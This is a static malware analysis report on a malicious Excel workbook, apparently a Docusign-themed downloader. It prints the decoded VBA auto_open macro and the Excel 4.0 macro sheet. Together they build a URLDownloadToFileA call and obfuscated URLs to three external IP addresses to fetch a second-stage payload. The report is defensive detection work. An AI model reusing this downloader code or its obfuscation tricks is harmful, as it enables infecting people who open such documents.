Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2a5ed14cb889bb37…

MALICIOUS

Office (OOXML)

102.9 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-23
MD5: 20db29d9e392e4025fea6ded55a645ad SHA-1: b16a5e7ea732aad7f7b201ff132a451ccad6a212 SHA-256: 2a5ed14cb889bb37ec111605fe0e1ba9e6b2faba4dc163ea8da608d2570dc29a
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains both VBA and Excel 4.0 macros, with the VBA code explicitly calling URLDownloadToFileA to download a payload. The Excel 4.0 macros also construct URLs pointing to external IP addresses, which are likely sources for the second-stage payload. The presence of an Auto_Open macro indicates an attempt to automatically execute malicious code upon opening the document.

Heuristics 7

  • ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Sheets("Nosto").Range("H35") = "=HALT()"
    Sheets("Nosto").Range("I10") = "URLDownloadToFileA"
    Sheets("Nosto").Range("I12") = "Friskos"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
    On Error Resume Next
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.213.8.137/ Referenced by macro
    • http://79.141.165.173/Referenced by macro
    • http://143.202.163.131/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/excel/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2436 bytes
SHA-256: 1bdbacf2a334e2f92df2cf49ae3abac338a363959d3f71eeb9111aae791e7e9e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm4"
Attribute VB_Base = "0{EA925227-940B-4D43-ABFE-242F71D9B6F6}{DA53EBCA-5D9B-41CE-B9C5-936CAC7F626A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{5CEE3DDB-6FFF-46C6-8038-3A14B6FC9947}{10F20635-4917-423F-AA02-6E0AC8272DBF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module2"

Sub auto_open()
On Error Resume Next

Application.ScreenUpdating = False

Sheets("Nosto").Range("K18") = ".dat"
Sheets("Nosto").Range("H35") = "=HALT()"
Sheets("Nosto").Range("I10") = "URLDownloadToFileA"
Sheets("Nosto").Range("I12") = "Friskos"
Sheets("Nosto").Range("G10") = UserForm4.Caption
Sheets("Nosto").Range("G11") = UserForm4.Caption & "1"
Sheets("Nosto").Range("G12") = UserForm4.Caption & "2"
Sheets("Nosto").Range("I17") = UserForm3.Caption
Sheets("Nosto").Range("I18") = UserForm3.Caption & "1"
Sheets("Nosto").Range("I19") = UserForm3.Caption & "2"
Sheets("Nosto").Range("H10") = "=Friskos(0,H24&K17&K18,G10,0,0)"
Sheets("Nosto").Range("H11") = "=Friskos(0,H25&K17&K18,G11,0,0)"
Sheets("Nosto").Range("H12") = "=Friskos(0,H26&K17&K18,G12,0,0)"
Sheets("Nosto").Range("H9") = "=" & UserForm4.Tag & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("Nosto").Range("H17") = "=" & UserForm3.Tag & "(I17)"
Sheets("Nosto").Range("H18") = "=" & UserForm3.Tag & "(I18)"
Sheets("Nosto").Range("H19") = "=" & UserForm3.Tag & "(I19)"

Application.Run Sheets("Nosto").Range("H1")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: 80af997724be929da53cf19e903c1a0b1492d42811207fba1251f90851ece8e4
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 2142 bytes
SHA-256: a4b48633f179539ca5aa03ecc2828e9373d8fc516bcace73faec69202b6f7a06
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{59B5048D-8C7D-40B0-9741-D7729BFD0DEE}"><dimension ref="H9:K26"/><sheetViews><sheetView showFormulas="1" showGridLines="0" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="9:9" x14ac:dyDescent="0.25"><c r="I9" s="1" t="s"><v>0</v></c></row><row r="11" spans="9:9" x14ac:dyDescent="0.25"><c r="I11" s="1" t="s"><v>1</v></c></row><row r="17" spans="8:11" x14ac:dyDescent="0.25"><c r="K17" s="1"><f>NOW()</f><v>44508.557876273146</v></c></row><row r="24" spans="8:11" x14ac:dyDescent="0.25"><c r="H24" s="1" t="str"><f>"ht"&amp;"tp:"&amp;"/"&amp;"/91"&amp;".21"&amp;"3."&amp;"8.1"&amp;"3"&amp;"7"&amp;"/"</f><v>http://91.213.8.137/</v></c></row><row r="25" spans="8:11" x14ac:dyDescent="0.25"><c r="H25" s="1" t="str"><f>"ht"&amp;"tp:/"&amp;"/79."&amp;"141"&amp;".16"&amp;"5.1"&amp;"73"&amp;"/"</f><v>http://79.141.165.173/</v></c></row><row r="26" spans="8:11" x14ac:dyDescent="0.25"><c r="H26" s="1" t="str"><f>"ht"&amp;"tp:/"&amp;"/14"&amp;"3.20"&amp;"2.1"&amp;"63.1"&amp;"31"&amp;"/"</f><v>http://143.202.163.131/</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>